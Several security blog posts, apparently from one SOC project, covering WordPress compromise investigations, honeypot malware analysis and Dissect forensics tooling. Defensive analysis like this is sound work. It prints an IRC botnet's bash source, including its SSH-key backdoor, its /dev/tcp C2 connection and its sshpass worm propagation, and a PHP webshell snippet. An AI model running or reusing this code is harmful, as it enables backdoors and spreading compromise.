Wordfence has really nice dashboards you can check out and see what’s the trend in terms of WordPress vulnerabilities. Usually, the vulnerabilities are split into three categories: WordPress core (less than a dozen per year), WordPress plugins and WordPress themes. Only in the first month of 2026 there were more than 900 new WordPress related CVEs, of which around 30 are marked as CRITICAL.

Yet, besides all these vulnerabilities, one of the biggest issues is user’s leaked credentials. You can have the most wonderful, updated and secure WordPress instance, but one tiny simple user (or worse, admin) password can tear down the whole castle.

Now, let’s go back to our investigation. It’s a not-so-long story that goes way back to last summer. Bear with me, we’ll get to the juicy stuff in a bit.

The signs were there: a vulnerability assessment done in November 2025 revealed that the site seems to have been compromised since July 2025. Following the procedures, we announced the site administrators and asked them to remediate their website. Since the website is not in our administration, the procedure is to allow the site admins some time to clean up their infrastructure. We hoped for the best (and did not expect the worst).

Things went south in December 2025 when we observed a high amount of traffic generated for a particular website, many of them looking very similar: POST requests to xmlrpc.php. Excluding the xmlrpc.php ones, the rest were either generic bots scans (that were inoffensive) or weird-looking paths (a chain of many directories) that generated a 200 HTTP response.

So, with hot chocolate mugs to warm our souls and jingle bells in the background in an enchanting Christmas scenery, we started to dig deeper into this website (the IR teams don't take a break during … the winter break, right?).

About that, let’s break down our investigation and our findings in 5 small sections

1. xmlrcp.php was used for exploitation to add malicious files and users​

In the specific dates with malware traces, there were a lot of requests made to xmlrpc.php, from IP addresses mostly originated from Singapore (more than 50%, as seen in the picture below), from 2 IPs (172[.]104[.]171[.]15 and 146[.]190[.]96[.]250) and US, mainly another 2 IPs (138[.]197[.]31[.]38, 159[.]203[.]135[.]193). This makes up almost all the traffic seen in the last 90 days to xmlprc.php, about 70.000 requests. Almost all requests (99.92%) got a 200 response, and even though it doesn’t specifically mean all were doing something nasty, the calls to xmlrpc are likely how the malicious files/users got into the system.

2. Remote execution files​

Some obfuscated php files (that attempt remote code execution) were dropped on the website, likely using some of the xmlrpc requests mentioned above. The files are placed in the well-known directory (under a very long path of directories), and contain small snippets of PHP code, followed by binary data. By decoding the PHP code we determined that it was used to decode the rest of the data. We can decode the data ourselves using the following code:

$code = file_get_contents("infected.php");
$payload = substr($code, -13687);
$payload = str_replace(["nuyxmaflij","voawzxubmi"], ["<",">"], $payload);
echo gzuncompress($payload);

This gives us another obfuscated file, following the same pattern: PHP code that does base64_decode(rot13(the rest of the file)). After decoding that, we have the initialization of an array with random bytes, then some more complex decoding, followed by eval(eval(eval(...(decoded payload))))).

This is clearly some sort of remote code execution, and likely how the rest of the attack happened.

3. Symbolic links for attempted data exposure​

Along with the RCE files, also in the well-known directory, there are a lot of symbolic links to files outside the hosting sandbox. The targeted files are mainly .env files, configuration files, etc.

9-WordPress-web.txt -> /var/mail/web/wp-config.php

There were almost 37,000 links present, trying to link to files in /bin, /usr, /var, etc. There were no successful requests made to these files in the last 90 days of the investigation.

4. Adding a new admin user​

Upon inspecting the database, we noticed that a new admin user was created. This is particularly weird because the timestamp and the password hash are not using the WordPress hashing format, so there is no way this user was created legitimately via the WordPress API. Most likely, it was added via a direct SQL call using the PHP RCE above. There are no registered logins for the user in the wp_login table, but since the attackers had access to the database, they could have very easily cleaned their traces.

5. Injected adware in all the php files served to the user​

Inside almost all PHP files, there was a <script> part injected at the end of the file which contained obfuscated JavaScript code. The script was also injected in .js files that were included by the php files, so likely all the relevant pages were infected.

The JavaScript code was obfuscated using https://obfuscator.io/ , so it was easy to deobfuscate using https://obf-io.deobfuscate.io .

The code first checked navigator.userAgent, navigator.vendor, and window.opera to see if it was running on a mobile phone. If it was, it hijacked user clicks using document.addEventListener("click", handler); and every 2 minutes, at a click, it opened one of 10 hardcoded shorturl links

const _0xe6f43 = ["hXXps://urshort[.]com/BEZ0c70",
           "hXXps://urshort[.]com/PSQ1c21",
           "hXXps://urshort[.]com/VxY2c02",
           "hXXps://urshort[.]com/MtN3c13",
           "hXXps://urshort[.]com/GEh4c14",
           "hXXps://urshort[.]com/HSf5c55",
           "hXXps://urshort[.]com/JRp6c56",
           "hXXps://urshort[.]com/sFh7c87",
           "hXXps://urshort[.]com/pHm8c98",
           "hXXps://urshort[.]com/GAv9c59"];

None of the urls are still active, but this looks like an adware.

Conclusions​

The moral of the story? The website was blocked. Even though the analysis showed that the URLs were not active, that does not mean everything is alright.

Pretty, pretty please, keep your WordPress instance updated, safe and secure. Or how the song says: call us when they break your website next summer, we will be waiting here.

SOCcare​

The SOCcare project is co-funded by the European Union, alongside our collaborators, NRD Cyber Security and RevelSI, and supported by the European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843. Views and opinions expressed are however those of the author(s) only and do not necessarily reflect those of the European Union or the European Cybersecurity Competence Centre. Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.

As threat intelligence sources, we use MISP, FireHOL and some in-house developed scripts.

Don't miss out, we have juicy threat intelligence stuff as well (but only for your eyes)! Register on indico.upb.ro and we'll send you an invite!

SOCcare​

The SOCcare project is co-funded by the European Union, alongside our collaborators, NRD Cyber Security and RevelSI, and supported by the European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843. Views and opinions expressed are however those of the author(s) only and do not necessarily reflect those of the European Union or the European Cybersecurity Competence Centre. Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.

The script we investigated is a bash-based IRC bot that self-propagates by abusing weak or default SSH passwords. Once enrolled in the botnet, the infected victim awaits for base64 encoded commands signed with the adversary RSA key, effectively enabling authenticated remote command execution over IRC. What makes this incident interesting is not the complexity of the attack - quite the opposite. It highlights how low‑effort techniques still succeed in the wild, especially poorly configured IoT systems.

In the following sections, we break down the malware's behavior along with code snippets showing the bot’s decision logic and propagation technique.

Technical overview​

From the honeypot we recovered a malicious bash script with the following main sections that will be later described with details:

1. Persistence & privilege escalation
2. Environment preparation
3. Remote Execution IRC client
4. Self Propagation

Persistence & privilege escalation​

After successfully connected to the honeypot and dropping the malware, the bot search for persistence and privilege escalation. The first thing the bot does is to copy itself in /opt and tamper with /etc/rc.local to be executed at every system startup, if connected as a non-root user.

Note: The comments below were added by us for clarification purposes. They don't exist in the original malware sample.

# Check if the script is NOT running as root
if [ "$EUID" -ne 0 ]
then
    # Copy the malware script to /opt using a random name
	NEWMYSELF=`mktemp -u 'XXXXXXXX'`
	sudo cp $MYSELF /opt/$NEWMYSELF

    # Overwrite /etc/rc.local to ensure the malware runs at every boot
    # rc.local is executed as root during system startup
	sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
	sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
	sudo sh -c "echo 'exit 0' >> /etc/rc.local"
	sleep 1

    # Reboot the system to gain persistence and  privilege escalation
	sudo reboot

This is not the case for the honeypot session because the adversary is already logged as root.

Environment preparation​

Before joining the C2 channel, the script performs an aggressive environment sanitization. This malware is very territorial ensuring that any other competing bot or miner is cleaned from the victim. This approach will guarantee the adversary has exclusive control over the system resources and network bandwidth.

To achieve this, the script begins by killing a wide range of processes associated with other botnets and cryptominers:

killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl

The malware also cuts access to other competitor infrastructure by tampering with the /etc/hosts file:

echo "127.0.0.1 bins[.]deutschland-zahlung[.]eu" >> /etc/hosts

Once the environment is cleared, the malware establishes lasting access for itself. It starts by changing the password of the pi user:

usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi

Next, it installs an SSH public key directly into the root authorized_keys file, giving the adversary passwordless access:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys

Finally, it deploys the public RSA key used later for validating IRC C2 messages, which will enable authenticated remote command execution:

cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER

Remote execution IRC client​

The juicy part of the malware is the IRC client that acts as a remote command‑execution backdoor by connecting to a dedicated IRC channel and listening for commands. The main bash script dynamically generates the IRC client code in a new file in /tmp/$BOT. Below is a sample script with comments to describe the bot behavior:

#!/bin/bash

# Generate a unique bot nickname based on (MD5) hashing of the system info
SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do
    # List of public Undernet IRC servers (defanged)
    arr[0]="ix1[.]undernet[.]org"
    arr[1]="ix2[.]undernet[.]org"
    arr[2]="Ashburn[.]Va[.]Us[.]UnderNet[.]org"
    arr[3]="Bucharest[.]RO[.]EU[.]UnderNet[.]Org"
    arr[4]="Budapest[.]HU[.]EU[.]UnderNet[.]org"
    arr[5]="Chicago[.]IL[.]US[.]UnderNet[.]org"

    # Choose a random IRC server
	rand=$[$RANDOM % 6]
	svr=${arr[$rand]}

    # Create a TCP connection to port 6667 (IRC) using `/dev/tcp`
    # This is textbook Living-off-the-land technique to create a tcp connection instead of using `netcat`
	eval 'exec 3<>/dev/tcp/$svr/6667;'
	if [[ ! "$?" -eq 0 ]] ; then
			continue
	fi

    # Send an IRC nickname command
	eval 'printf "NICK $NICK\r\n" >&3;'
	if [[ ! "$?" -eq 0 ]] ; then
			continue
	fi

    # Send an IRC USER command (minimal login)
	eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
	if [[ ! "$?" -eq 0 ]] ; then
		continue
	fi

    # Main loop
	while [ true ]; do
        # Read incoming server messages
		eval "read msg_in <&3;"

		if [[ ! "$?" -eq 0 ]] ; then
			break
		fi

        # Resolve incoming PING messages
		if  [[ "$msg_in" =~ "PING" ]] ; then
            # Respond with PONG messages
			printf "PONG %s\n" "${msg_in:5}";
			eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
			if [[ ! "$?" -eq 0 ]] ; then
				break
			fi
			sleep 1

            # After a successful handshake, join the control channel named `#biret`
			eval 'printf "JOIN #biret\r\n" >&3;'
			if [[ ! "$?" -eq 0 ]] ; then
				break
			fi

        # Handle incoming private messages (potential malicious commands)
		elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
            # Extract base64‑encoded signature, command, and sender nickname
			privmsg_h=$(echo $msg_in| cut -d':' -f 3)
			privmsg_data=$(echo $msg_in| cut -d':' -f 4)
			privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

            # Compute MD5 hash of decoded command
			hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`

            # Verify RSA signature using the public key stored in /tmp/public.pem
            # Prevents other IRC users or defenders to hijack the bot
			sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

            # Execute commands only if the signature is valid
			if [[ "$sign" == "$hash" ]] ; then
				CMD=`echo $privmsg_data | base64 -d -i`
				RES=`bash -c "$CMD" | base64 -w 0`

                # Send command output back to sender (base64‑encoded)
				eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
				if [[ ! "$?" -eq 0 ]] ; then
					break
				fi
			fi
		fi
	done
done

Upon further inspection of the traces left behind, we only discovered that some PING messages were exchanged with the IRC server. The bot didn't established a connection with channel named #biret, hence, malicious commands were not sent or executed on the victim's machine. Unfortunately, this means that we couldn't really uncover the real goal of the bot.

Self-propagation​

The last step of the malicious shell script is to self-propagate to other victims. In a while loop, it scans with zmap for hosts with the ssh port open. For every responsive IP address found, the script attempts to authenticate using two hardcoded passwords: raspberry and raspberryraspberry993311.

while [ true ]; do
	FILE=`mktemp`
    # Scan the Internet for hosts with port 22 (SSH) open.
    # -n 100000 → scan 100k IPs per cycle
    # Output list of responsive IPs to $FILE
	zmap -p 22 -o $FILE -n 100000

    # Kill leftover SSH/SCP processes to avoid buildup
	killall ssh scp

    # Loop through every IP discovered by zmap
	for IP in `cat $FILE`
	do
        # Attempt infection using password "raspberry"
		sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &

        # Attempt infection using second "raspberryraspberry993311"
		sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
	done
    # Clean up temporary scan results
	rm -rf $FILE
    # Clean up temporary scan results
	sleep 10
done

Extracted IOCs​

Threat intelligence gathered from analyzing the adversary session are:

• https://www.virustotal.com/gui/file/b32c507a1453527c42596e2f1544497659618e26d94c5e298c419b115e0124b0 - the associated VirusTotal page for the malware file
• https://www.virustotal.com/gui/ip-address/88.147.18.235 - the source adversary IP 88.147.18.235
• The sha256 of the file is b32c507a1453527c42596e2f1544497659618e26d94c5e298c419b115e0124b0
• Credentials used for the initial ssh connection are pi/raspberryraspberry993311

How long has this been around?​

After doing a bit of research on connected attacks, it seems that this malware isn't exactly new. The credentials used -pi/raspberryraspberry993311 - are mentioned in a TrendMicro report published back in 2020. It seems that the malware variant from TrendMicro didn't attempt to connect to the IRC channel #biret.

Also, the same username:password pair is mentioned in a list of common credentials used in IoT attacks published by Bitdefender.

A public gist created in May, 2023, publishes the same malware sample featuring the same public SSH key, password hash and credentials tried. The author mentions that the ultimate goal of this malware is to mine cryptocurrency on the infected IoT devices.

What makes the older cases interesting is the overlap with our sample: the same username:password pair was mentioned by Bitdefender and TrendMicro. This implies that a basic version of the malware remained unchanged across several years. In the incident investigated by us the IRC bot client that connects to #biret was introduced on top of what TrendMicro reported a while back. This feature is also highlighted in a SANS diary post and in the gist malware sample mentioned above. This suggests that the adversary may have taken an older, well-established script and expanded its functionality.

Conclusions​

Overall, the malware does a poor job at hiding the traces during its execution. Although it attempts to clean up after itself, it still generates some temporary files allowing the honeypot to capture helpful information.

From these artifacts, we've been able to confirm that the bot only responded to a few PING messages and never successfully joined the intended C2 channel (#biret). Additionally, no evidence suggests that the malware was able to propagate further. The honeypot logs show that the entire session lasted only 22 seconds before the attacker disconnected, leaving no signs of successful lateral movement or follow‑up infections.

SOCcare​

The SOCcare project is co-funded by the European Union, alongside our collaborators, NRD Cyber Security and RevelSI, and supported by the European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843. Views and opinions expressed are however those of the author(s) only and do not necessarily reflect those of the European Union or the European Cybersecurity Competence Centre. Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.

This post is a short guide on how to configure Dissect API to work with Cowrie's snapshots.

Dissect provides a Python API that can easily integrate into existing pipelines or frameworks. For most use cases, simply loading a target and applying plugins is enough:

target = Target.open(target_path)
os = target.os
install_date = target.install_date
activity = target.activity
users = target.users()

Interacting with Cowrie snapshots can get slightly different because Cowrie generates qcow2 differential snapshots on top of a base image to minimize disk usage. Inspecting a snapshot metadata with qemu-img info might paint a more clear picture:

$ qemu-img info snapshot-ubuntu_2204-ff4b5af73ac04d279074922bfda47c05.qcow2
image: snapshot-ubuntu_2204-ff4b5af73ac04d279074922bfda47c05.qcow2
file format: qcow2
virtual size: 4.88 GiB (5242880000 bytes)
disk size: 24.1 MiB
cluster_size: 65536
backing file: /mnt/data/ubuntu-22.04.qcow2
backing file format: qcow2
[...]

A naive approach to analyze Cowrie snapshots is to create standalone qcow2 images by concatenating the base and snapshot image with qemu-img tools. However, this comes with a significant downside - it is time-consuming for a large number of snapshots as Cowrie generates.

Depending on your Cowrie setup, Dissect can automatically detect the backing file path and loading it alongside the snapshot. Under the hood, Target.open(target_path) detects the image type (qcow2), reads the image headers, and most likely discovers the backing file path automatically.

For more control, you can interact directly with Dissect’s QCOW2 module, giving you more flexibility to handle snapshots and base images explicitly:

from dissect.target import Target
from dissect.hypervisor.disk import qcow2
from pathlib import Path

def open_qcow2_with_backing_file(snapshot_path: Path, backing_path: Path):
    # Open base QCOW2 image
    backing_fh = backing_path.open("rb")
    base_qcow2 = qcow2.QCow2(backing_fh)
    base_stream = base_qcow2.open()

    # Open snapshot QCOW2 image with base as backing file
    snapshot_fh = snapshot_path.open("rb")
    snapshot_qcow2 = qcow2.QCow2(
        snapshot_fh,
        backing_file=base_stream
    )
    snapshot_stream = snapshot_qcow2.open()

    return snapshot_stream, snapshot_fh, backing_fh, base_stream

def analyze_image(snapshot_path: Path, backing_path: Path):
    # Open the QCOW2 snapshot along with its backing file and get file/stream handles
    snapshot_stream, snapshot_fh, backing_fh, base_stream = open_qcow2_with_backing_file(snapshot_path, backing_path)

    # Create a new Dissect target to analyze the disk image
    target = Target()
    # Add the snapshot stream to the target’s disks
    target.disks.add(snapshot_stream)
    # Resolve all disks, volumes and filesystems and load an operating system on the current
    target.apply()

    # Collect data from the snapshot
    os = target.os
    install_date = target.install_date
    activity = target.activity
    users = target.users()

    # Clean up file handles / streams explicitly
    snapshot_stream.close()
    base_stream.close()
    snapshot_fh.close()
    backing_fh.close()

if __name__ == "__main__":
  snapshot_path = Path("/mnt/data/snapshots/snapshot-ubuntu_2204-ff4b5af73ac04d279074922bfda47c05.qcow2")
  backing_path = Path("/mnt/data/ubuntu-22.04.qcow2")
  result = analyze_image(snapshot_path, backing_path)

Taking a look into the QCOW2 class itself, it allows data_file and a backing_file to be passed directly:

class QCow2:
    """QCOW2 virtual disk implementation.

    If a data-file is required and ``fh`` is not a ``Path``, it's required to manually pass a file like object
    in the `data_file` argument. Otherwise, the data file will be automatically opened if it exists in the same directory.
    It's possible to defer opening the data file by passing ``allow_no_data_file=True``.

    The same applies to the backing-file. This too can be deferred by passing ``allow_no_backing_file=True``.

    Args:
        fh: File handle or path to the QCOW2 file.
        data_file: Optional file handle for the data file. If not provided and ``fh`` is a ``Path``, it will try to open it automatically.
        backing_file: Optional file handle for the backing file. If not provided and ``fh`` is a ``Path``, it will try to open it automatically.
        allow_no_data_file: If True, allows the QCOW2 file to be opened without a data file.
        allow_no_backing_file: If True, allows the QCOW2 file to be opened without a backing file.
    """
    def __init__(
        self,
        fh: BinaryIO | Path,
        data_file: BinaryIO | None = None,
        backing_file: BinaryIO | None = None,
        *,
        allow_no_data_file: bool = False,
        allow_no_backing_file: bool = False,
    ):

In conclusion, by leveraging Dissect’s Python API flexibility and modularity, you can efficiently analyze Cowrie snapshots alongside their backing files, gaining insights into the threat actor activity without the overhead of manually looking into them. Whether you’re integrating Dissect as a step into a forensics pipeline or exploring honeypot snapshots, this approach minimizes time spent on investigating and extracting IOCs.

SOCcare​

The SOCcare project is co-funded by the European Union, alongside our collaborators, NRD Cyber Security and RevelSI, and supported by the European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843. Views and opinions expressed are however those of the author(s) only and do not necessarily reflect those of the European Union or the European Cybersecurity Competence Centre. Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.

This time, the attack was discovered after a manual inspection on the hosting facility, where we observed several connections initiated by the hosting server to external IPs. This is not something we expected to see, so we did some further inspection. First, we extracted the executable files that started the processes and we upload their hashes on Virustotal. Most of them are flagged as malicious, and we could see some connected IP addresses, but nothing more (a report for one of the files is here).

All reports looked almost identical, and we will soon show you why. Manually inspecting the files showed us a few more details:

• Birth dates are around July 4, 2025 (could be the start of the attack)
• Modify dates are November 9, 2021 (so they were dropped on the server)

Using this information, we extracted more files with the same properties. All the files had similar sizes, identical birth and modify dates, and were flagged as malicious on Virustotal. All the files were placed at paths like wp-content/plugins/foogallery/, wp-content/themes/hey-wpcom/, wp-content/themes/lineup-wpcom/, etc.

PHP Obfuscated Files​

Furthermore, we also found some obfuscated PHP files that we inspected using some PHP deobfuscator.

if (isset($_POST["hld"])) {
    function __($_8, $_9)
    {
        $_10 = "";
        $_11 = (int) ROuNd(0);
        do {
            $_10 .= CHr(OrD($_8[$_11]) ^ $_9);
            $_11++;
        } while ($_11 < StrlEn($_8));
        return $_10;
    }
    $_12 = hex2bin($_POST["hld"]);
    $_12 = __($_12, 74);
    if (FuNctiON_ExisTs($_5)) {
        system($_12);

We found 10 malicious PHP files. Just like the binary files, some of them were very similar. In the end, there were 3 types of obfuscated PHP files:

• Remote Code Execution (RCE) done by decoding a request parameter, header or cookie and then placing the decoded string into a tmp/ file and using include(/tmp/decoded-string).
• RCE using the same string decoding, but this time with functions like system, so the payload was some bash command, not PHP (like the example presented above).
• One file manager, that exposed an API for interacting with files on the server, dropping / reading files and listing directories.

This is likely how the malicious binaries got on the server.

Next, we inspected the OpenSearch logs for the attack start period of time (sometime around July 4, according to the files birth date). We discovered that, in the couple of days before the attack started, many connection attempts to the website login page were done. Checking the IPs, we saw that many of them are flagged on Virustotal, and they come from all over the world. At this point, we can assume this is a botnet trying to bruteforce it's way into the admin account. It's likely using some leaked password database (we will confirm this later). The spike of attempted connections ended few hours before the attack started, so we can assume it was successful. After the successful login, the attacker can install plugins (like wp-file-manager) and drop the malicious files.

We can also see in the OpenSearch logs the requests made to the malicious PHP files, but since the cookies and POST request parameters are not logged, we can not find the exact payloads that were used.

Binary Analysis​

Now that we went through the PHP malicious files, it's time to move on to the more interesting part, the executable files. A quick inspection showed us that they are all statically linked executables, 8 of them are 32-bit ELF files, the other 9 are 64-bit.

$ find . -perm 0744 -mtime +600 
./themes/twentytwentyfour/templates/database.mysqli
./themes/twentynineteen/sass/media/gateways.inc
./themes/twentytwentyone/assets/sass/05-blocks/utilities/ConfigSchema
./themes/eduma/inc/libs/Tax-meta-class/dbx_convert
./themes/eduma/inc/widgets/one-course-instructors/action.changedir
./themes/eduma/assets/sass/courses/left_menu_var
./themes/eduma/assets/sass/mixins/mediasize
./themes/eduma/assets/sass/eduma-child-new-art/general/default_wdb
./themes/eduma/assets/sass/eduma-child-new-art/elements/cp_header
./themes/hey-wpcom/languages/mod_mainmenu
./plugins/elementor/core/schemes/addgroup
./plugins/elementor/core/settings/editor-preferences/editannouncegr
./plugins/elementor/core/app/modules/kit-library/data/kits/endpoints/am.trackback
./plugins/elementor/core/app/modules/kit-library/Portfolio
./plugins/elementor/assets/lib/waypoints/layersmenu.inc
[...]

Some of the executable files that we initially observed were missing, so likely they self-deleted after starting. Others were identical (same hashes), so we stripped them down to 17 individual ELF files.

Static Analysis​

Since we didn't know anything substantial about what the executable files do, we started with static analysis. We used Ghidra for reverse engineering, but any other similar tool will do the job. We started with one executable, database.mysqli - 6f91e0ab8f243a10ec6d73448e58d833.

It looked like the executable relies on manual system calls, no libc or other libraries are used. We mapped all the system calls, starting from the entrypoint of the executable.

We saw that several getrlimit/setrlimit call are being made. The executable sets the maximum allowed values for RLIMIT_NOFILE, RLIMIT_AS, RLIMIT_DATA, RLIMIT_STACK.

804a02b:       55                      push   ebp
804a02c:       8b ec                   mov    ebp,esp
804a02e:       81 ec 84 00 00 00       sub    esp,0x84
804a034:       89 5d fc                mov    DWORD PTR [ebp-0x4],ebx
804a037:       8d bd 7c ff ff ff       lea    edi,[ebp-0x84]
804a03d:       b9 80 00 00 00          mov    ecx,0x80
804a042:       32 c0                   xor    al,al
804a044:       f3 aa                   rep stos BYTE PTR es:[edi],al
804a046:       8b 5d fc                mov    ebx,DWORD PTR [ebp-0x4]
804a049:       8d 8d 7c ff ff ff       lea    ecx,[ebp-0x84]
804a04f:       b8 4c 00 00 00          mov    eax,0x4c
804a054:       cd 80                   int    0x80
804a056:       8d 75 80                lea    esi,[ebp-0x80]
804a059:       8d bd 7c ff ff ff       lea    edi,[ebp-0x84]
804a05f:       b9 04 00 00 00          mov    ecx,0x4
804a064:       f3 a4                   rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
804a066:       8b 5d fc                mov    ebx,DWORD PTR [ebp-0x4]
804a069:       8d 8d 7c ff ff ff       lea    ecx,[ebp-0x84]
804a06f:       b8 4b 00 00 00          mov    eax,0x4b
804a074:       cd 80                   int    0x80
804a076:       c9                      leave
804a077:       c3                      ret

After that, it uses sigaction to ignore the SIGHUP signal. Since SIGHUP is generated when the parent terminal is closed, the attacker likely does this in order to keep the process running after the parent (likely some RCE triggered by the malicious PHP files above) end it's execution. Finally, it maps some RWX memory regions, and connects to 185.93.89.176:443. We checked the IP on Virustotal. It's marked as malicious by some of the vendors.

All of this can be also seen by performing dynamic analysis, using strace on a VM with no internet access.

We started the same procedure on another executable, and we saw that it looks absolutely identical. It connects to a different IP, but the .text section is the same. We can confirm this by extracting hashes for the .text section of all executables and compare them. As expected, all 32-bit executables have identical .text session, and the same goes for the 64-bit ones.

So, we can assume that all executables connect to some different IPs (likely command and control servers), and wait for instructions. This means there is not much else we can do using static analysis, so we must push further into dynamic analysis.

Dynamic Analysis​

Since we are dealing with proven malicious files, we must treat them as such. Given that we found all the executable files on Virustotal, and the static analysis did not reveal any sensitive information being embedded in the files, we assumed that the attack is not targeted, and the files do not contain any private information. This means we could use public sandboxing solutions.

The first try is AnyRun, since it provides very detailed reports on the malware activity. We upload the files and run them on an Ubuntu 22.04 machine. As expected, the IPs did not work, and all we could find out for now is the initialized connection from the executable to a remote server, but with no response.

Since we had 17 executable files connecting to 17 different IP addresses, but using the same .text section, we assumed that the 17 IP addresses are responding at different times during the day, so we waited a few hours and ran the analysis again.

After many more tries, we noticed that, between 19:00 and 20:00 EEST, the IP for class.mail is up and running, so we have an hour to run the analysis. Here is a link to the AnyRun report.

We notice that, after many requests to different IPs, it started doing HTTP requests to exposed WordPress instances, on port 80, using usernames and passwords that look like part of a breach (i.e. log=<...>&pwd=<...>). Some (very few) of the IP addresses were marked as known malicious, so likely someone already successfully infected them.

This tracks our initial assumption that our WordPress server was targeted by some bruteforce attack using leaked credentials. This means the IPs that we saw at the beginning were likely other compromised servers.

Since that is all AnyRun could provide us (IOCs, Behaviour, Threats, Network activity), we could also run the executable on our VM and try to anything else different. The AnyRun report is detailed enough, the only other thing we could hope to get our hands on were the self-deleting malware files, since the AnyRun reports are time limited to maximum 5 minutes.

We attached a network interface to our VM, use a firewall on the host machine to isolate the traffic form/to the VM, and ran the executable using gdb, and in parallel ran wireshark.

The wireshark output showed similar results to the AnyRun report, many HTTP-exposed WordPress instances being targeted, and nothing more. Using gdb we noticed some new memory regions with rwx permissions, but nothing else noticeable happened during the one hour when the IP is up. The missing files were not downloaded by this binary.

SOCcare​

The SOCcare project is co-funded by the European Union, alongside our collaborators, NRD Cyber Security and RevelSI, and supported by the European Cybersecurity Competence Centre (ECCC) Centre (ECCC) under Grant Agreement No. 101145843. Views and opinions expressed are however those of the author(s) only and do not necessarily reflect those of the European Union or the European Cybersecurity Competence Centre. Neither the European Union nor the European Cybersecurity Competence Centre can be held responsible for them.

For this incident, we were provided with a disk snapshot of a compromised Wordpress server stored as a qcow2 image. Extracting forensic data from a snapshot is a great task for using Dissect because it allows us to analyze targets without mounting or booting them. Dissect is actually a collection of modular tools that can be combined or extended to retrieve common information from the targets (users, cron jobs, services, history, filesystem entries).

In this investigation, we mostly used the following commands:

$ target-info
$ target-query -f users,cronjobs,services
$ target-query -f walkfs
$ target-fs
$ target-shell

We started by gathering some initial data from the system using target-info:

$ target-info wordpress.qcow2

Disks
- <Disk type="QCow2Container" size="68719476736">

Volumes
- <Volume name="part_06f00000" size="68603067392" fs="ExtFilesystem">
- <Volume name="part_00100000" size="4193792" fs="NoneType">
- <Volume name="part_00500000" size="111148544" fs="FatFilesystem">

Hostname       : wordpress
Domain         : None
Ips            : <redacted>
Os family      : linux
Os version     : Ubuntu 20.04.6 LTS (Focal Fossa)
Architecture   : x86_64-linux
Language       :
Timezone       : UTC
Install date   : 2022-06-10T09:22:32.214000+00:00
Last activity  : 2025-04-15T07:23:01.955681+00:00

One important piece of information from the output is the Last activity date - 2025-04-15T07:23:01. We used this timestamp as a starting point to check filesystem changes such as newly created or modified files.

To extract metadata information about the filesystem entries, we leveraged target-query -f walkfs. This approach will help us to be able to easily manipulate data later with awk/cut.

$ target-query -q wordpress.qcow2 -f walkfs | rdump -m csv > filesystem.csv

